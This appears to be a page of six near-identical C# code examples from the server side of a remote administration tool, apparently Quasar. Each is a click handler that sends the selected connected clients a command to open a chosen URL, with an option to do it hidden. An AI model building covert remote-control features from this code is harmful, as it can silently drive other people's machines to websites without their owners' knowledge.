Ejemplo n.º 1
0
 private void ctxtVisitWebsite_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
Ejemplo n.º 2
0
 private void ctxtVisitWebsite_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (ListViewItem lvi in lstClients.SelectedItems)
                 {
                     Client c = (Client)lvi.Tag;
                     new Core.Packets.ServerPackets.VisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
Ejemplo n.º 3
0
 private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     QuasarServer.writeLog("Visiting Website: " + VisitWebsite.URL, c.Value.PCName);
                     new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
Ejemplo n.º 4
0
 private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     c.Send(new DoVisitWebsite
                     {
                         Url    = frm.Url,
                         Hidden = frm.Hidden
                     });
                 }
             }
         }
     }
 }
Ejemplo n.º 5
0
 private void ctxtVisitWebsite_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
Ejemplo n.º 6
0
 private void ctxtVisitWebsite_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (ListViewItem lvi in lstClients.SelectedItems)
                 {
                     Client c = (Client) lvi.Tag;
                     new Core.Packets.ServerPackets.VisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }